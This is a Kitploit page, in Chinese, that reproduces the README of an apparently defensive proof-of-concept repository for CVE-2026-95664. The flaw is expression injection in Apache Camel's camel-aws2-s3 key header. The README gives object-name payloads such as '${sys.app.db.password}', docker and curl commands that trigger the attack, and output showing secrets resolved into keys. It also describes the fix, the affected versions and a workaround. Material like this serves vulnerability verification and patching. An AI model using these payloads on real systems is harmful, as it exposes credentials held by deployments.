Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-95664 — 针对 CVE-2026-95664 的可运行 Spring Boot 和 Quarkus 复现程序,演示通过 camel-aws2-s3 中的 CamelAwsS3Key 请求头进行 Simple 表达式注入,并验证修复效果。 | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-95664
防御工具漏洞分析漏洞利用Web应用程序漏洞利用学习与教育
GitHuboscerd/cve-2026-95664

CVE-2026-95664

针对 CVE-2026-95664 的可运行 Spring Boot 和 Quarkus 复现程序,演示通过 camel-aws2-s3 中的 CamelAwsS3Key 请求头进行 Simple 表达式注入,并验证修复效果。

查看仓库
23天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-95664 — camel-aws2-s3:由消息头提供的对象键被当作 Simple 表达式求值

针对 Apache Camel 漏洞的可运行概念验证复现程序:camel-aws2-s3 生产者从 CamelAwsS3Key 消息头获取对象键,并且——自 4.8.0 起——只要该值包含 ${ 或 $simple{,AWS2S3Utils.determineKey() 就会把它传给 Simple 语言,以便路由可以使用动态键。该求值既作用于从消息头取得的值,也同样作用于路由配置的 keyName 选项。

运行时目录技术栈
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-aws2-s3 4.22.1
Camel Quarkuscamel-quarkus/Camel Quarkus 3.39.0(Quarkus 3.39.0,Camel 4.22.0)

为什么这很重要

消息头不是路由配置。aws2-s3 消费者在它创建的每个 exchange 上都会把 CamelAwsS3Key 设置为它所读取对象的键——也就是桶中对象的名称。因此,在一个仅从一个 aws2-s3 端点消费并向另一个端点生产的路由中,每个被消费对象的名称都会到达生产者并被求值。

任何能够选择此类路由所消费桶中对象名称的人——通常是任何被允许向该桶上传的主体——都可以让自选的 Simple 表达式在 Camel 进程内被求值。Simple 可以读取 JVM 系统属性、环境变量和配置属性,而这些通常携带凭据;并且,当类路径上存在 camel-bean 时,还可以调用注册表 bean 上的方法。

在生产者上配置 keyName 并不构成防护,因为消息头的优先级高于它。

运行它

cd camel-spring-boot          # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down

在受影响的构建上输出(两个运行时上完全相同):

Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client&region=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.

Values the deployment holds but the route never references:
  system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
  environment AWS_SESSION_TOKEN    = ENV-SESSION-TOKEN-s3cr3t-88

1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
     key the producer wrote: [invoice-2026.pdf]

2) An object an uploader named '${sys.app.db.password}'
     key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
     the JVM system property was resolved into the key: true

3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
     key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
     the environment variable was resolved into the key: true

4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
     key the producer wrote: [route1-D953127238C9F86-0000000000000000]
     evaluated rather than used literally: true

5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
     key the producer wrote: [archived.txt]
     the configured keyName was used instead: true

>>> PROVEN: ...

探针 5 是公告为尚无法升级的部署提供的变通方案,此处展示其实际运行效果。

接线方式

无需 AWS 账户,也无需网络。复现程序为 S3 注册了一个记录型替身 (amazonS3Client=#s3Client),用于捕获生产者实际请求写入的键——这正是唯一需要观察的内容。真实的 AWS2S3Producer 和真实的 AWS2S3Utils.determineKey() 会运行;只有最末尾的 SDK 调用被捕获。

驱动程序将 CamelAwsS3Key 设置为所消费对象的名称,这正是 aws2-s3 消费者 所做的,因此消费者侧无需自己的存储桶。

该替身还会响应 headBucket,因为 AWS2S3Endpoint.doStart() 会在路由启动前检查存储桶是否存在。该检查与漏洞无关。

漏洞摘要

属性值
组件camel-aws2-s3(AWS2S3Utils.determineKey())
CWECWE-917(表达式语言注入)
严重性中
攻击向量aws2-s3 路由所消费的存储桶中某个对象的名称,包含 ${ 或 $simple{,通过 CamelAwsS3Key 传递到生产者
影响在 Camel 进程中求值 Simple 表达式:读取系统属性、环境变量和配置属性;在存在 camel-bean 的情况下调用注册表 bean 上的方法
受影响版本从 4.8.0 起至 4.18.5 之前,从 4.19.0 起至 4.22.2 之前(4.8.0 之前的版本按原样使用标头值,不受影响)
修复版本4.18.5、4.22.2、4.23.0
JIRACAMEL-24901
致谢Apache Software Foundation 的 Andrea Cosentino

公告:https://camel.apache.org/security/CVE-2026-95664.html

存储桶名称也经过了相同的求值,但消费者只会将其自身端点上配置的存储桶放入存储桶标头,绝不会放入源自远程对象的值,因此存储桶名称无法通过此方式触达。

修复

只有由路由配置的键才可以是动态 Simple 表达式。通过标头提供的键现在按字面使用,且永不求值:

String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
    // only the configured key (supplied by the route) may be a dynamic simple expression;
    // a key provided through the header is used literally and never evaluated
    key = configuration.getKeyName();
    if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}

已在 main 分支的 apache/camel#26746 中修复(1fd7a667),并已向后移植到 camel-4.22.x 和 camel-4.18.x。

升级后,通过消息头提供的 key 或 bucket 名称会被按字面使用——因此,如果某个路由有意在 CamelAwsS3Key 或 CamelAwsS3OverrideBucketName 中放入未求值的 Simple 表达式,现在必须在路由本身中对其求值(setHeader(..., simple(...))),或者将其配置为端点的 keyName / bucketName 选项。

检查修复后的构建

将 camel.version 设置为 4.22.2 并再次运行。已针对 4.22.1 → 4.22.2 验证:

2) An object an uploader named '${sys.app.db.password}'
     key the producer wrote: [${sys.app.db.password}]
     the JVM system property was resolved into the key: false

4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
     evaluated rather than used literally: false

>>> NOT reproduced: the header was used literally.

免责声明

本仓库出于教育和防御目的发布:帮助 Apache Camel 用户了解该漏洞、验证自身是否受影响,并确认升级后问题已解决。请勿将本材料用于您不拥有或未运营的系统。

下载工具